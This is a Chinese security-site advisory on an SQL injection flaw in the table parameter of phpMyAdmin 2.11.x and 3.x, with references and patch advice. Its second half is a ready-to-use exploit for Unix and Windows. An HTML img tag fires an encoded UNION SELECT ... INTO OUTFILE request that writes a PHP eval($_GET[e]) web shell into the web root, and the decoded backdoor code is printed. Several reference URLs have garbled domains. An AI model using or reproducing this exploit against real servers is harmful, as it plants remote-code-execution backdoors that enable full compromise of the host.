phpMyAdmin table参数SQL注入漏洞

网络安全 2021-07-03 09:19www.168986.cn网络安全知识
影响版本:
phpMyAdmin phpmyadmin 3.x
phpMyAdmin phpMyAdmin 2.11.x
漏洞描述:
BUGTRAQ ID: 32720

phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL。

phpMyAdmin的./phpmyadmin/libraries/db_table_exists.lib.php文件中没有正确地过滤table参数

$_result = PMA_DBI_try_query(
'SELECT COUNT() FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
null, PMA_DBI_QUERY_STORE);

PMA_sqlAddslashes()函数仅禁用了单引号,但忽略了反勾号(`)和双引号("),远程攻击者可以通过提交恶意请求执行sql注入攻击。
<参考
http://secunia./advisories/33076/
http://.phpmyadmin./home_page/security/PMASA-2008-10.php
http://.milw0rm./exploits/7382
>
SEBUG安全建议:
phpMyAdmin
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载

http://phpmyadmin.svn.sourcefe./viewvc/phpmyadmin?view=rev&revision=12100


nix平台 <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2F%2Fbackdoor.php%22+--+1"> </html> path: /var//backdoor.php backdoor: <?php eval($_GET[e]);?> Windows平台 <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1"> </html> path: c:/xampp/htdocs/backdoor.php backdoor: <?php eval(stripslashes($_GET[e]));?>

Copyright © 2016-2025 www.168986.cn 狼蚁网络 版权所有 Power by